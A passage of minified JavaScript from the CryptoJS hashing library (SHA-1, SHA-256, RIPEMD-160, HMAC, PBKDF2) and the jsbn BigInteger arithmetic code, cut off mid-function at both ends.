                }
                a[0] = a[0] + e | 0;
                a[1] = a[1] + f | 0;
                a[2] = a[2] + h | 0;
                a[3] = a[3] + j | 0;
                a[4] = a[4] + b | 0
            },
            _doFinalize: function() {
                var b = this._data,
                    d = b.words,
                    a = 8 * this._nDataBytes,
                    e = 8 * b.sigBytes;
                d[e >>> 5] |= 128 << 24 - e % 32;
                d[(e + 64 >>> 9 << 4) + 14] = Math.floor(a / 4294967296);
                d[(e + 64 >>> 9 << 4) + 15] = a;
                b.sigBytes = 4 * d.length;
                this._process();
                return this._hash
            },
            clone: function() {
                var b = l.clone.call(this);
                b._hash = this._hash.clone();
                return b
            }
        });
    k.SHA1 = l._createHelper(b);
    k.HmacSHA1 = l._createHmacHelper(b)
})();
(function(k) {
    for (var g = CryptoJS, h = g.lib, v = h.WordArray, j = h.Hasher, h = g.algo, s = [], t = [], u = function(q) {
            return 4294967296 * (q - (q | 0)) | 0
        }, l = 2, b = 0; 64 > b;) {
        var d;
        a: {
            d = l;
            for (var w = k.sqrt(d), r = 2; r <= w; r++)
                if (!(d % r)) {
                    d = !1;
                    break a
                }
            d = !0
        }
        d && (8 > b && (s[b] = u(k.pow(l, 0.5))), t[b] = u(k.pow(l, 1 / 3)), b++);
        l++
    }
    var n = [],
        h = h.SHA256 = j.extend({
            _doReset: function() {
                this._hash = new v.init(s.slice(0))
            },
            _doProcessBlock: function(q, h) {
                for (var a = this._hash.words, c = a[0], d = a[1], b = a[2], k = a[3], f = a[4], g = a[5], j = a[6], l = a[7], e = 0; 64 > e; e++) {
                    if (16 > e) n[e] = q[h + e] | 0;
                    else {
                        var m = n[e - 15],
                            p = n[e - 2];
                        n[e] = ((m << 25 | m >>> 7) ^ (m << 14 | m >>> 18) ^ m >>> 3) + n[e - 7] + ((p << 15 | p >>> 17) ^ (p << 13 | p >>> 19) ^ p >>> 10) + n[e - 16]
                    }
                    m = l + ((f << 26 | f >>> 6) ^ (f << 21 | f >>> 11) ^ (f << 7 | f >>> 25)) + (f & g ^ ~f & j) + t[e] + n[e];
                    p = ((c << 30 | c >>> 2) ^ (c << 19 | c >>> 13) ^ (c << 10 | c >>> 22)) + (c & d ^ c & b ^ d & b);
                    l = j;
                    j = g;
                    g = f;
                    f = k + m | 0;
                    k = b;
                    b = d;
                    d = c;
                    c = m + p | 0
                }
                a[0] = a[0] + c | 0;
                a[1] = a[1] + d | 0;
                a[2] = a[2] + b | 0;
                a[3] = a[3] + k | 0;
                a[4] = a[4] + f | 0;
                a[5] = a[5] + g | 0;
                a[6] = a[6] + j | 0;
                a[7] = a[7] + l | 0
            },
            _doFinalize: function() {
                var d = this._data,
                    b = d.words,
                    a = 8 * this._nDataBytes,
                    c = 8 * d.sigBytes;
                b[c >>> 5] |= 128 << 24 - c % 32;
                b[(c + 64 >>> 9 << 4) + 14] = k.floor(a / 4294967296);
                b[(c + 64 >>> 9 << 4) + 15] = a;
                d.sigBytes = 4 * b.length;
                this._process();
                return this._hash
            },
            clone: function() {
                var b = j.clone.call(this);
                b._hash = this._hash.clone();
                return b
            }
        });
    g.SHA256 = j._createHelper(h);
    g.HmacSHA256 = j._createHmacHelper(h)
})(Math);
(function() {
    var q = CryptoJS,
        d = q.lib,
        n = d.WordArray,
        p = d.Hasher,
        d = q.algo,
        x = n.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]),
        y = n.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]),
        z = n.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]),
        A = n.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]),
        B = n.create([0, 1518500249, 1859775393, 2400959708, 2840853838]),
        C = n.create([1352829926, 1548603684, 1836072691, 2053994217, 0]),
        d = d.RIPEMD160 = p.extend({
            _doReset: function() {
                this._hash = n.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520])
            },
            _doProcessBlock: function(e, v) {
                for (var b = 0; 16 > b; b++) {
                    var c = v + b,
                        f = e[c];
                    e[c] = (f << 8 | f >>> 24) & 16711935 | (f << 24 | f >>> 8) & 4278255360
                }
                var c = this._hash.words,
                    f = B.words,
                    d = C.words,
                    n = x.words,
                    q = y.words,
                    p = z.words,
                    w = A.words,
                    t, g, h, j, r, u, k, l, m, s;
                u = t = c[0];
                k = g = c[1];
                l = h = c[2];
                m = j = c[3];
                s = r = c[4];
                for (var a, b = 0; 80 > b; b += 1) a = t + e[v + n[b]] | 0, a = 16 > b ? a + ((g ^ h ^ j) + f[0]) : 32 > b ? a + ((g & h | ~g & j) + f[1]) : 48 > b ? a + (((g | ~h) ^ j) + f[2]) : 64 > b ? a + ((g & j | h & ~j) + f[3]) : a + ((g ^ (h | ~j)) + f[4]), a |= 0, a = a << p[b] | a >>> 32 - p[b], a = a + r | 0, t = r, r = j, j = h << 10 | h >>> 22, h = g, g = a, a = u + e[v + q[b]] | 0, a = 16 > b ? a + ((k ^ (l | ~m)) + d[0]) : 32 > b ? a + ((k & m | l & ~m) + d[1]) : 48 > b ? a + (((k | ~l) ^ m) + d[2]) : 64 > b ? a + ((k & l | ~k & m) + d[3]) : a + ((k ^ l ^ m) + d[4]), a |= 0, a = a << w[b] | a >>> 32 - w[b], a = a + s | 0, u = s, s = m, m = l << 10 | l >>> 22, l = k, k = a;
                a = c[1] + h + m | 0;
                c[1] = c[2] + j + s | 0;
                c[2] = c[3] + r + u | 0;
                c[3] = c[4] + t + k | 0;
                c[4] = c[0] + g + l | 0;
                c[0] = a
            },
            _doFinalize: function() {
                var e = this._data,
                    d = e.words,
                    b = 8 * this._nDataBytes,
                    c = 8 * e.sigBytes;
                d[c >>> 5] |= 128 << 24 - c % 32;
                d[(c + 64 >>> 9 << 4) + 14] = (b << 8 | b >>> 24) & 16711935 | (b << 24 | b >>> 8) & 4278255360;
                e.sigBytes = 4 * (d.length + 1);
                this._process();
                e = this._hash;
                d = e.words;
                for (b = 0; 5 > b; b++) c = d[b], d[b] = (c << 8 | c >>> 24) & 16711935 | (c << 24 | c >>> 8) & 4278255360;
                return e
            },
            clone: function() {
                var d = p.clone.call(this);
                d._hash = this._hash.clone();
                return d
            }
        });
    q.RIPEMD160 = p._createHelper(d);
    q.HmacRIPEMD160 = p._createHmacHelper(d)
})(Math);
(function() {
    var c = CryptoJS,
        k = c.enc.Utf8;
    c.algo.HMAC = c.lib.Base.extend({
        init: function(a, b) {
            a = this._hasher = new a.init;
            "string" == typeof b && (b = k.parse(b));
            var c = a.blockSize,
                e = 4 * c;
            b.sigBytes > e && (b = a.finalize(b));
            b.clamp();
            for (var f = this._oKey = b.clone(), g = this._iKey = b.clone(), h = f.words, j = g.words, d = 0; d < c; d++) h[d] ^= 1549556828, j[d] ^= 909522486;
            f.sigBytes = g.sigBytes = e;
            this.reset()
        },
        reset: function() {
            var a = this._hasher;
            a.reset();
            a.update(this._iKey)
        },
        update: function(a) {
            this._hasher.update(a);
            return this
        },
        finalize: function(a) {
            var b = this._hasher;
            a = b.finalize(a);
            b.reset();
            return b.finalize(this._oKey.clone().concat(a))
        }
    })
})();
(function() {
    var b = CryptoJS,
        a = b.lib,
        d = a.Base,
        m = a.WordArray,
        a = b.algo,
        q = a.HMAC,
        l = a.PBKDF2 = d.extend({
            cfg: d.extend({
                keySize: 4,
                hasher: a.SHA1,
                iterations: 1
            }),
            init: function(a) {
                this.cfg = this.cfg.extend(a)
            },
            compute: function(a, b) {
                for (var c = this.cfg, f = q.create(c.hasher, a), g = m.create(), d = m.create([1]), l = g.words, r = d.words, n = c.keySize, c = c.iterations; l.length < n;) {
                    var h = f.update(b).finalize(d);
                    f.reset();
                    for (var j = h.words, s = j.length, k = h, p = 1; p < c; p++) {
                        k = f.finalize(k);
                        f.reset();
                        for (var t = k.words, e = 0; e < s; e++) j[e] ^= t[e]
                    }
                    g.concat(h);
                    r[0] ++
                }
                g.sigBytes = 4 * n;
                return g
            }
        });
    b.PBKDF2 = function(a, b, c) {
        return l.create(c).compute(a, b)
    }
})();
var b64map = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var b64pad = "=";

function hex2b64(d) {
    var b;
    var e;
    var a = "";
    for (b = 0; b + 3 <= d.length; b += 3) {
        e = parseInt(d.substring(b, b + 3), 16);
        a += b64map.charAt(e >> 6) + b64map.charAt(e & 63)
    }
    if (b + 1 == d.length) {
        e = parseInt(d.substring(b, b + 1), 16);
        a += b64map.charAt(e << 2)
    } else {
        if (b + 2 == d.length) {
            e = parseInt(d.substring(b, b + 2), 16);
            a += b64map.charAt(e >> 2) + b64map.charAt((e & 3) << 4)
        }
    }
    if (b64pad) {
        while ((a.length & 3) > 0) {
            a += b64pad
        }
    }
    return a
}

function b64tohex(f) {
    var d = "";
    var e;
    var b = 0;
    var c;
    var a;
    for (e = 0; e < f.length; ++e) {
        if (f.charAt(e) == b64pad) {
            break
        }
        a = b64map.indexOf(f.charAt(e));
        if (a < 0) {
            continue
        }
        if (b == 0) {
            d += int2char(a >> 2);
            c = a & 3;
            b = 1
        } else {
            if (b == 1) {
                d += int2char((c << 2) | (a >> 4));
                c = a & 15;
                b = 2
            } else {
                if (b == 2) {
                    d += int2char(c);
                    d += int2char(a >> 2);
                    c = a & 3;
                    b = 3
                } else {
                    d += int2char((c << 2) | (a >> 4));
                    d += int2char(a & 15);
                    b = 0
                }
            }
        }
    }
    if (b == 1) {
        d += int2char(c << 2)
    }
    return d
}

function b64toBA(e) {
    var d = b64tohex(e);
    var c;
    var b = new Array();
    for (c = 0; 2 * c < d.length; ++c) {
        b[c] = parseInt(d.substring(2 * c, 2 * c + 2), 16)
    }
    return b
};
var dbits;
var canary = 244837814094590;
var j_lm = ((canary & 16777215) == 15715070);

function BigInteger(e, d, f) {
    if (e != null) {
        if ("number" == typeof e) {
            this.fromNumber(e, d, f)
        } else {
            if (d == null && "string" != typeof e) {
                this.fromString(e, 256)
            } else {
                this.fromString(e, d)
            }
        }
    }
}

function nbi() {
    return new BigInteger(null)
}

function am1(f, a, b, e, h, g) {
    while (--g >= 0) {
        var d = a * this[f++] + b[e] + h;
        h = Math.floor(d / 67108864);
        b[e++] = d & 67108863
    }
    return h
}

function am2(f, q, r, e, o, a) {
    var k = q & 32767,
        p = q >> 15;
    while (--a >= 0) {
        var d = this[f] & 32767;
        var g = this[f++] >> 15;
        var b = p * d + g * k;
        d = k * d + ((b & 32767) << 15) + r[e] + (o & 1073741823);
        o = (d >>> 30) + (b >>> 15) + p * g + (o >>> 30);
        r[e++] = d & 1073741823
    }
    return o
}

function am3(f, q, r, e, o, a) {
    var k = q & 16383,
        p = q >> 14;
    while (--a >= 0) {
        var d = this[f] & 16383;
        var g = this[f++] >> 14;
        var b = p * d + g * k;
        d = k * d + ((b & 16383) << 14) + r[e] + o;
        o = (d >> 28) + (b >> 14) + p * g;
        r[e++] = d & 268435455
    }
    return o
}
if (j_lm && (navigator.appName == "Microsoft Internet Explorer")) {
    BigInteger.prototype.am = am2;
    dbits = 30
} else {
    if (j_lm && (navigator.appName != "Netscape")) {
        BigInteger.prototype.am = am1;
        dbits = 26
    } else {
        BigInteger.prototype.am = am3;
        dbits = 28
    }
}
BigInteger.prototype.DB = dbits;
BigInteger.prototype.DM = ((1 << dbits) - 1);
BigInteger.prototype.DV = (1 << dbits);
var BI_FP = 52;
BigInteger.prototype.FV = Math.pow(2, BI_FP);
BigInteger.prototype.F1 = BI_FP - dbits;
BigInteger.prototype.F2 = 2 * dbits - BI_FP;
var BI_RM = "0123456789abcdefghijklmnopqrstuvwxyz";
var BI_RC = new Array();
var rr, vv;
rr = "0".charCodeAt(0);
for (vv = 0; vv <= 9; ++vv) {
    BI_RC[rr++] = vv
}
rr = "a".charCodeAt(0);
for (vv = 10; vv < 36; ++vv) {
    BI_RC[rr++] = vv
}
rr = "A".charCodeAt(0);
for (vv = 10; vv < 36; ++vv) {
    BI_RC[rr++] = vv
}

function int2char(a) {
    return BI_RM.charAt(a)
}

function intAt(b, a) {
    var d = BI_RC[b.charCodeAt(a)];
    return (d == null) ? -1 : d
}

function bnpCopyTo(b) {
    for (var a = this.t - 1; a >= 0; --a) {
        b[a] = this[a]
    }
    b.t = this.t;
    b.s = this.s
}

function bnpFromInt(a) {
    this.t = 1;
    this.s = (a < 0) ? -1 : 0;
    if (a > 0) {
        this[0] = a
    } else {
        if (a < -1) {
            this[0] = a + this.DV
        } else {
            this.t = 0
        }
    }
}

function nbv(a) {
    var b = nbi();
    b.fromInt(a);
    return b
}

function bnpFromString(h, c) {
    var e;
    if (c == 16) {
        e = 4
    } else {
        if (c == 8) {
            e = 3
        } else {
            if (c == 256) {
                e = 8
            } else {
                if (c == 2) {
                    e = 1
                } else {
                    if (c == 32) {
                        e = 5
                    } else {
                        if (c == 4) {
                            e = 2
                        } else {
                            this.fromRadix(h, c);
                            return
                        }
                    }
                }
            }
        }
    }
    this.t = 0;
    this.s = 0;
    var g = h.length,
        d = false,
        f = 0;
    while (--g >= 0) {
        var a = (e == 8) ? h[g] & 255 : intAt(h, g);
        if (a < 0) {
            if (h.charAt(g) == "-") {
                d = true
            }
            continue
        }
        d = false;
        if (f == 0) {
            this[this.t++] = a
        } else {
            if (f + e > this.DB) {
                this[this.t - 1] |= (a & ((1 << (this.DB - f)) - 1)) << f;
                this[this.t++] = (a >> (this.DB - f))
            } else {
                this[this.t - 1] |= a << f
            }
        }
        f += e;
        if (f >= this.DB) {
            f -= this.DB
        }
    }
    if (e == 8 && (h[0] & 128) != 0) {
        this.s = -1;
        if (f > 0) {
            this[this.t - 1] |= ((1 << (this.DB - f)) - 1) << f
        }
    }
    this.clamp();
    if (d) {
        BigInteger.ZERO.subTo(this, this)
    }
}

function bnpClamp() {
    var a = this.s & this.DM;
    while (this.t > 0 && this[this.t - 1] == a) {
        --this.t
    }
}

function bnToString(c) {
    if (this.s < 0) {
        return "-" + this.negate().toString(c)
    }
    var e;
    if (c == 16) {
        e = 4
    } else {
        if (c == 8) {
            e = 3
        } else {
            if (c == 2) {
                e = 1
            } else {
                if (c == 32) {
                    e = 5
                } else {
                    if (c == 4) {
                        e = 2
                    } else {
                        return this.toRadix(c)
                    }
                }
            }
        }
    }
    var g = (1 << e) - 1,
        l, a = false,
        h = "",
        f = this.t;
    var j = this.DB - (f * this.DB) % e;
    if (f-- > 0) {
        if (j < this.DB && (l = this[f] >> j) > 0) {
            a = true;
            h = int2char(l)
        }
        while (f >= 0) {
            if (j < e) {
                l = (this[f] & ((1 << j) - 1)) << (e - j);
                l |= this[--f] >> (j += this.DB - e)
            } else {
                l = (this[f] >> (j -= e)) & g;
                if (j <= 0) {
                    j += this.DB;
                    --f
                }
            }
            if (l > 0) {
                a = true
            }
            if (a) {
                h += int2char(l)
            }
        }
    }
    return a ? h : "0"
}

function bnNegate() {
    var a = nbi();
    BigInteger.ZERO.subTo(this, a);
    return a
}

function bnAbs() {
    return (this.s < 0) ? this.negate() : this
}

function bnCompareTo(b) {
    var d = this.s - b.s;
    if (d != 0) {
        return d
    }
    var c = this.t;
    d = c - b.t;
    if (d != 0) {
        return (this.s < 0) ? -d : d
    }
    while (--c >= 0) {
        if ((d = this[c] - b[c]) != 0) {
            return d
        }
    }
    return 0
}

function nbits(a) {
    var c = 1,
        b;
    if ((b = a >>> 16) != 0) {
        a = b;
        c += 16
    }
    if ((b = a >> 8) != 0) {
        a = b;
        c += 8
    }
    if ((b = a >> 4) != 0) {
        a = b;
        c += 4
    }
    if ((b = a >> 2) != 0) {
        a = b;
        c += 2
    }
    if ((b = a >> 1) != 0) {
        a = b;
        c += 1
    }
    return c
}

function bnBitLength() {
    if (this.t <= 0) {
        return 0
    }
    return this.DB * (this.t - 1) + nbits(this[this.t - 1] ^ (this.s & this.DM))
}

function bnpDLShiftTo(c, b) {
    var a;
    for (a = this.t - 1; a >= 0; --a) {
        b[a + c] = this[a]
    }
    for (a = c - 1; a >= 0; --a) {
        b[a] = 0
    }
    b.t = this.t + c;
    b.s = this.s
}

function bnpDRShiftTo(c, b) {
    for (var a = c; a < this.t; ++a) {
        b[a - c] = this[a]
    }
    b.t = Math.max(this.t - c, 0);
    b.s = this.s
}

function bnpLShiftTo(j, e) {
    var b = j % this.DB;
    var a = this.DB - b;
    var g = (1 << a) - 1;
    var f = Math.floor(j / this.DB),
        h = (this.s << b) & this.DM,
        d;
    for (d = this.t - 1; d >= 0; --d) {
        e[d + f + 1] = (this[d] >> a) | h;
        h = (this[d] & g) << b
    }
    for (d = f - 1; d >= 0; --d) {
        e[d] = 0
    }
    e[f] = h;
    e.t = this.t + f + 1;
    e.s = this.s;
    e.clamp()
}

function bnpRShiftTo(g, d) {
    d.s = this.s;
    var e = Math.floor(g / this.DB);
    if (e >= this.t) {
        d.t = 0;
        return
    }
    var b = g % this.DB;
    var a = this.DB - b;
    var f = (1 << b) - 1;
    d[0] = this[e] >> b;
    for (var c = e + 1; c < this.t; ++c) {
        d[c - e - 1] |= (this[c] & f) << a;
        d[c - e] = this[c] >> b
    }
    if (b > 0) {
        d[this.t - e - 1] |= (this.s & f) << a
    }
    d.t = this.t - e;
    d.clamp()
}

function bnpSubTo(d, f) {
    var e = 0,
        g = 0,
        b = Math.min(d.t, this.t);
    while (e < b) {
        g += this[e] - d[e];
        f[e++] = g & this.DM;
        g >>= this.DB
    }
    if (d.t < this.t) {
        g -= d.s;
        while (e < this.t) {
            g += this[e];
            f[e++] = g & this.DM;
            g >>= this.DB
        }
        g += this.s
    } else {
        g += this.s;
        while (e < d.t) {
            g -= d[e];
            f[e++] = g & this.DM;
            g >>= this.DB
        }
        g -= d.s
    }
    f.s = (g < 0) ? -1 : 0;
    if (g < -1) {
        f[e++] = this.DV + g
    } else {
        if (g > 0) {
            f[e++] = g
        }
    }
    f.t = e;
    f.clamp()
}

function bnpMultiplyTo(c, e) {
    var b = this.abs(),
        f = c.abs();
    var d = b.t;
    e.t = d + f.t;
    while (--d >= 0) {
        e[d] = 0
    }
    for (d = 0; d < f.t; ++d) {
        e[d + b.t] = b.am(0, f[d], e, d, 0, b.t)
    }
    e.s = 0;
    e.clamp();
    if (this.s != c.s) {
        BigInteger.ZERO.subTo(e, e)
    }
}

function bnpSquareTo(d) {
    var a = this.abs();
    var b = d.t = 2 * a.t;
    while (--b >= 0) {
        d[b] = 0
    }
    for (b = 0; b < a.t - 1; ++b) {
        var e = a.am(b, a[b], d, 2 * b, 0, 1);
        if ((d[b + a.t] += a.am(b + 1, 2 * a[b], d, 2 * b + 1, e, a.t - b - 1)) >= a.DV) {
            d[b + a.t] -= a.DV;
            d[b + a.t + 1] = 1
        }
    }
    if (d.t > 0) {
        d[d.t - 1] += a.am(b, a[b], d, 2 * b, 0, 1)
    }
    d.s = 0;
    d.clamp()
}

function bnpDivRemTo(n, h, g) {
    var w = n.abs();
    if (w.t <= 0) {
        return
    }
    var k = this.abs();
    if (k.t < w.t) {
        if (h != null) {
            h.fromInt(0)
        }
        if (g != null) {
            this.copyTo(g)
        }
        return
    }
    if (g == null) {
        g = nbi()
    }
    var d = nbi(),
        a = this.s,
        l = n.s;
    var v = this.DB - nbits(w[w.t - 1]);
    if (v > 0) {
        w.lShiftTo(v, d);
        k.lShiftTo(v, g)
    } else {
        w.copyTo(d);
        k.copyTo(g)
    }
    var p = d.t;
    var b = d[p - 1];
    if (b == 0) {
        return
    }
    var o = b * (1 << this.F1) + ((p > 1) ? d[p - 2] >> this.F2 : 0);
    var A = this.FV / o,
        z = (1 << this.F1) / o,
        x = 1 << this.F2;
    var u = g.t,
        s = u - p,
        f = (h == null) ? nbi() : h;
    d.dlShiftTo(s, f);
    if (g.compareTo(f) >= 0) {
        g[g.t++] = 1;
        g.subTo(f, g)
    }
    BigInteger.ONE.dlShiftTo(p, f);
    f.subTo(d, d);
    while (d.t < p) {
        d[d.t++] = 0
    }
    while (--s >= 0) {
        var c = (g[--u] == b) ? this.DM : Math.floor(g[u] * A + (g[u - 1] + x) * z);
        if ((g[u] += d.am(0, c, g, s, 0, p)) < c) {
            d.dlShiftTo(s, f);
            g.subTo(f, g);
            while (g[u] < --c) {
                g.subTo(f, g)
            }
        }
    }
    if (h != null) {
        g.drShiftTo(p, h);
        if (a != l) {
            BigInteger.ZERO.subTo(h, h)
        }
    }
    g.t = p;
    g.clamp();
    if (v > 0) {
        g.rShiftTo(v, g)
    }
    if (a < 0) {
        BigInteger.ZERO.subTo(g, g)
    }
}

function bnMod(b) {
    var c = nbi();
    this.abs().divRemTo(b, null, c);
    if (this.s < 0 && c.compareTo(BigInteger.ZERO) > 0) {
        b.subTo(c, c)
    }
    return c
}

function Classic(a) {
    this.m = a
}

function cConvert(a) {
    if (a.s < 0 || a.compareTo(this.m) >= 0) {
        return a.mod(this.m)
    } else {
        return a
    }
}

function cRevert(a) {
    return a
}

function cReduce(a) {
    a.divRemTo(this.m, null, a)
}

function cMulTo(a, c, b) {
    a.multiplyTo(c, b);
    this.reduce(b)
}

function cSqrTo(a, b) {
    a.squareTo(b);
    this.reduce(b)
}
Classic.prototype.convert = cConvert;
Classic.prototype.revert = cRevert;
Classic.prototype.reduce = cReduce;
Classic.prototype.mulTo = cMulTo;
Classic.prototype.sqrTo = cSqrTo;

function bnpInvDigit() {
    if (this.t < 1) {
        return 0
    }
    var a = this[0];
    if ((a & 1) == 0) {
        return 0
    }
    var b = a & 3;
    b = (b * (2 - (a & 15) * b)) & 15;
    b = (b * (2 - (a & 255) * b)) & 255;
    b = (b * (2 - (((a & 65535) * b) & 65535))) & 65535;
    b = (b * (2 - a * b % this.DV)) % this.DV;
    return (b > 0) ? this.DV - b : -b
}

function Montgomery(a) {
    this.m = a;
    this.mp = a.invDigit();
    this.mpl = this.mp & 32767;
    this.mph = this.mp >> 15;
    this.um = (1 << (a.DB - 15)) - 1;
    this.mt2 = 2 * a.t
}

function montConvert(a) {
    var b = nbi();
    a.abs().dlShiftTo(this.m.t, b);
    b.divRemTo(this.m, null, b);
    if (a.s < 0 && b.compareTo(BigInteger.ZERO) > 0) {
        this.m.subTo(b, b)
    }
    return b
}

function montRevert(a) {
    var b = nbi();
    a.copyTo(b);
    this.reduce(b);
    return b
}

function montReduce(a) {
    while (a.t <= this.mt2) {
        a[a.t++] = 0
    }
    for (var c = 0; c < this.m.t; ++c) {
        var b = a[c] & 32767;
        var d = (b * this.mpl + (((b * this.mph + (a[c] >> 15) * this.mpl) & this.um) << 15)) & a.DM;
        b = c + this.m.t;
        a[b] += this.m.am(0, d, a, c, 0, this.m.t);
        while (a[b] >= a.DV) {
            a[b] -= a.DV;
            a[++b] ++
        }
    }
    a.clamp();
    a.drShiftTo(this.m.t, a);
    if (a.compareTo(this.m) >= 0) {
        a.subTo(this.m, a)
    }
}

function montSqrTo(a, b) {
    a.squareTo(b);
    this.reduce(b)
}

function montMulTo(a, c, b) {
    a.multiplyTo(c, b);
    this.reduce(b)
}
Montgomery.prototype.convert = montConvert;
Montgomery.prototype.revert = montRevert;
Montgomery.prototype.reduce = montReduce;
Montgomery.prototype.mulTo = montMulTo;
Montgomery.prototype.sqrTo = montSqrTo;

function bnpIsEven() {
    return ((this.t > 0) ? (this[0] & 1) : this.s) == 0
}

function bnpExp(h, j) {
    if (h > 4294967295 || h < 1) {
        return BigInteger.ONE
    }
    var f = nbi(),
        a = nbi(),
        d = j.convert(this),
        c = nbits(h) - 1;
    d.copyTo(f);
    while (--c >= 0) {
        j.sqrTo(f, a);
        if ((h & (1 << c)) > 0) {
            j.mulTo(a, d, f)
        } else {
            var b = f;
            f = a;
            a = b
        }
    }
    return j.revert(f)
}

function bnModPowInt(b, a) {
    var c;
    if (b < 256 || a.isEven()) {
        c = new Classic(a)
    } else {
        c = new Montgomery(a)
    }
    return this.exp(b, c)
}
BigInteger.prototype.copyTo = bnpCopyTo;
BigInteger.prototype.fromInt = bnpFromInt;
BigInteger.prototype.fromString = bnpFromString;
BigInteger.prototype.clamp = bnpClamp;
BigInteger.prototype.dlShiftTo = bnpDLShiftTo;
BigInteger.prototype.drShiftTo = bnpDRShiftTo;
BigInteger.prototype.lShiftTo = bnpLShiftTo;
BigInteger.prototype.rShiftTo = bnpRShiftTo;
BigInteger.prototype.subTo = bnpSubTo;
BigInteger.prototype.multiplyTo = bnpMultiplyTo;
BigInteger.prototype.squareTo = bnpSquareTo;
BigInteger.prototype.divRemTo = bnpDivRemTo;
BigInteger.prototype.invDigit = bnpInvDigit;
BigInteger.prototype.isEven = bnpIsEven;
BigInteger.prototype.exp = bnpExp;
BigInteger.prototype.toString = bnToString;
BigInteger.prototype.negate = bnNegate;
BigInteger.prototype.abs = bnAbs;
BigInteger.prototype.compareTo = bnCompareTo;
BigInteger.prototype.bitLength = bnBitLength;
BigInteger.prototype.mod = bnMod;
BigInteger.prototype.modPowInt = bnModPowInt;
BigInteger.ZERO = nbv(0);
BigInteger.ONE = nbv(1);

function bnClone() {
    var a = nbi();
    this.copyTo(a);
    return a
}

function bnIntValue() {
    if (this.s < 0) {
        if (this.t == 1) {
            return this[0] - this.DV
        } else {
            if (this.t == 0) {
                return -1
            }
        }
    } else {
        if (this.t == 1) {
            return this[0]
        } else {
            if (this.t == 0) {
                return 0
            }
        }
    }
    return ((this[1] & ((1 << (32 - this.DB)) - 1)) << this.DB) | this[0]
}

function bnByteValue() {
    return (this.t == 0) ? this.s : (this[0] << 24) >> 24
}

function bnShortValue() {
    return (this.t == 0) ? this.s : (this[0] << 16) >> 16
}

function bnpChunkSize(a) {
    return Math.floor(Math.LN2 * this.DB / Math.log(a))
}

function bnSigNum() {
    if (this.s < 0) {
        return -1
    } else {
        if (this.t <= 0 || (this.t == 1 && this[0] <= 0)) {
            return 0
        } else {
            return 1
        }
    }
}

function bnpToRadix(c) {
    if (c == null) {
        c = 10
    }
    if (this.signum() == 0 || c < 2 || c > 36) {
        return "0"
    }
    var f = this.chunkSize(c);
    var e = Math.pow(c, f);
    var i = nbv(e),
        j = nbi(),
        h = nbi(),
        g = "";
    this.divRemTo(i, j, h);
    while (j.signum() > 0) {
        g = (e + h.intValue()).toString(c).substr(1) + g;
        j.divRemTo(i, j, h)
    }
    return h.intValue().toString(c) + g
}

function bnpFromRadix(m, h) {
    this.fromInt(0);
    if (h == null) {
        h = 10
    }
    var f = this.chunkSize(h);
    var g = Math.pow(h, f),
        e = false,
        a = 0,
        l = 0;
    for (var c = 0; c < m.length; ++c) {
        var k = intAt(m, c);
        if (k < 0) {
            if (m.charAt(c) == "-" && this.signum() == 0) {
                e = true
            }
            continue
        }
        l = h * l + k;
        if (++a >= f) {
            this.dMultiply(g);
            this.dAddOffset(l, 0);
            a = 0;
            l = 0
        }
    }
    if (a > 0) {
        this.dMultiply(Math.pow(h, a));
        this.dAddOffset(l, 0)
    }
    if (e) {
        BigInteger.ZERO.subTo(this, this)
    }
}

function bnpFromNumber(f, e, h) {
    if ("number" == typeof e) {
        if (f < 2) {
            this.fromInt(1)
        } else {
            this.fromNumber(f, h);
            if (!this.testBit(f - 1)) {
                this.bitwiseTo(BigInteger.ONE.shiftLeft(f - 1), op_or, this)
            }
            if (this.isEven()) {
                this.dAddOffset(1, 0)
            }
            while (!this.isProbablePrime(e)) {
                this.dAddOffset(2, 0);
                if (this.bitLength() > f) {
                    this.subTo(BigInteger.ONE.shiftLeft(f - 1), this)
                }
            }
        }
    } else {
        var d = new Array(),
            g = f & 7;
        d.length = (f >> 3) + 1;
        e.nextBytes(d);
        if (g > 0) {
            d[0] &= ((1 << g) - 1)
        } else {
            d[0] = 0
        }
        this.fromString(d, 256)
    }
}

function bnToByteArray() {
    var b = this.t,
        c = new Array();
    c[0] = this.s;
    var e = this.DB - (b * this.DB) % 8,
        f, a = 0;
    if (b-- > 0) {
        if (e < this.DB && (f = this[b] >> e) != (this.s & this.DM) >> e) {
            c[a++] = f | (this.s << (this.DB - e))
        }
        while (b >= 0) {
            if (e < 8) {
                f = (this[b] & ((1 << e) - 1)) << (8 - e);
                f |= this[--b] >> (e += this.DB - 8)
            } else {
                f = (this[b] >> (e -= 8)) & 255;
                if (e <= 0) {
                    e += this.DB;
                    --b
                }
